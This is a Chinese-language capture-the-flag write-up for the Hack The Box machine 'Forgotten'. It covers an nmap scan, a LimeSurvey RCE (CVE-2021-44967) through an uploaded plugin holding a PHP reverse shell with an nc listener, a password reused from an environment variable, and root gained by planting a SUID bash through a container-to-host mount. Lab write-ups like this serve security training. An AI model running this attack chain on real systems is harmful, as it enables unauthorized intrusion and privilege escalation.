HTB Forgotten
靶机IP:10.129.234.81
信息收集
kotlin
┌──(root㉿kali)-[~]
└─# nmap -A -T4 10.129.234.81
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-28 00:23 EST
Nmap scan report for 10.129.234.81
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 28:c7:f1:96:f9:53:64:11:f8:70:55:68:0b:e5:3c:22 (ECDSA)
|_ 256 02:43:d2:ba:4e:87:de:77:72:ce:5a:fa:86:5c:0d:f4 (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: 403 Forbidden
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 175.48 ms 10.10.16.1
2 117.37 ms 10.129.234.81
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.01 seconds
有一个80端口,但主页进去403forbidden,扫一下目录

扫到一个/survey,来到安装的地方
在安装之前,我们要有mysql数据库,可以使用docker最方便
sodu docker pull mysql:8.0
sudo docker run -p 3306:3306 --rm --name tmp-mysql -e MYSQL_ROOT_PASSWORD=password mysql:8.0



admin/password 进去后可以看到版本信息

从网上可以搜到CVE-2021-44967
漏洞利用(CVE-2021-44967)
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE


zip shell.zip config.xml php-rev.php



安装好后就要去触发
kotlin
curl http://10.129.234.81:80/survey/upload/plugins/Y1LD1R1M/php-rev.php
nc -lvnp 10001

获得shell
从这里基本可以看出是docker了

得到一个pass

LIMESURVEY_PASS=5W5HN4K4GCXf9E
大概率是ssh的密码
ssh limesvc@10.129.234.81

提权
前面一个是Docker容器内的环境,后面一个是目标主机的环境
docker容器获取交互式shell
/usr/bin/script -qc /bin/bash /dev/null



获得了docker容器内的root权限
寻找宿主机挂载点
kotlin
#docker容器内
cd /var/www/html/survey
touch testtest
#宿主机
find / -name "testtest"


也就是说靶机内的/var/www/html/survey会挂载到宿主机的/opt/limesurvey/。在靶机内我们可以利用sudo来创建一个具有u+s(SUID)权限的命令,从这里就可以得到属主为root的文件
简单来说,用sudo给命令加SUID权限,让普通用户能以root身份执行它
#在docker容器内
echo 5W5HN4K4GCXf9E | sudo -S cp /bin/bash .
#将密码通过管道传给sudo,实现免交互输入密码。把系统的bash程序复制到当前目录(挂载目录)
echo 5W5HN4K4GCXf9E | sudo -S chmod +x bash
echo 5W5HN4K4GCXf9E | sudo -S chmod u+s bash

cd /opt/limesurvey/
./bash -p
#-p参数是关键:保持 SUID 的 root 权限(否则会降权)

总结
流程
| 阶段 | 核心目标 | 关键操作 |
|---|---|---|
| 信息收集 | 探测开放端口、服务及目录 | 1. 端口扫描(Nmap)2. Web 目录扫描(发现 /survey 路径) |
| 漏洞利用 | 利用 LimeSurvey 漏洞获取 Shell | 1. 识别 LimeSurvey 版本(6.3.7+231127)2. 利用 CVE-2021-44967 漏洞上传恶意插件 |
| 权限获取 | 从容器 Shell 到靶机 SSH 登录 | 1. 容器内获取 limesvc 用户权限2. 提取环境变量中的 SSH 密码(LIMESURVEY_PASS=5W5HN4K4GCXf9E) |
| 提权 | 从普通用户到靶机 root 权限 | 1. 容器内利用 sudo 权限创建 SUID 文件2. 通过挂载目录同步文件,靶机执行 SUID 文件提权 |
提权阶段
1.容器内获取root权限
容器内limesvc用户属于sudo组,通过sudo su切换到 root 用户,获取容器内最高权限。
kotlin
# 容器内获取交互式Shell(避免终端异常)
/usr/bin/script -qc /bin/bash /dev/null
# 查看sudo权限(确认可执行所有命令)
sudo -l
# 输入密码(5W5HN4K4GCXf9E)切换到root
sudo su
2.寻找靶机挂载目录
Docker 容器常与靶机挂载目录(实现文件同步),通过在容器内创建测试文件,靶机全局搜索文件路径,确认挂载关系。
kotlin
# 1. 容器内(/var/www/html/survey)创建测试文件
cd /var/www/html/survey && touch testtest
# 2. 靶机全局搜索测试文件,确认挂载关系
find / -name "testtest" # 结果:靶机路径/opt/limesurvey/(与容器路径同步)
3.SUID提权
SUID 权限(u+s)是 Linux 特殊权限,设置后普通用户执行该文件时,会以文件属主(如 root)身份运行;结合挂载目录同步文件,实现靶机提权。
kotlin
# 1. 容器内(挂载目录)复制bash并设置SUID权限(免交互输入密码)
echo 5W5HN4K4GCXf9E | sudo -S cp /bin/bash . # 复制bash到挂载目录
echo 5W5HN4K4GCXf9E | sudo -S chmod +x bash # 加可执行权限
echo 5W5HN4K4GCXf9E | sudo -S chmod u+s bash # 加SUID权限(rwsr-xr-x)
# 2. 靶机(/opt/limesurvey)执行SUID bash,保持root权限(-p参数关键)
cd /opt/limesurvey && ./bash -p
# 3. 验证提权结果(euid=0表示有效用户为root)
id # 结果:uid=2000(limesvc) gid=2000(limesvc) euid=0(root)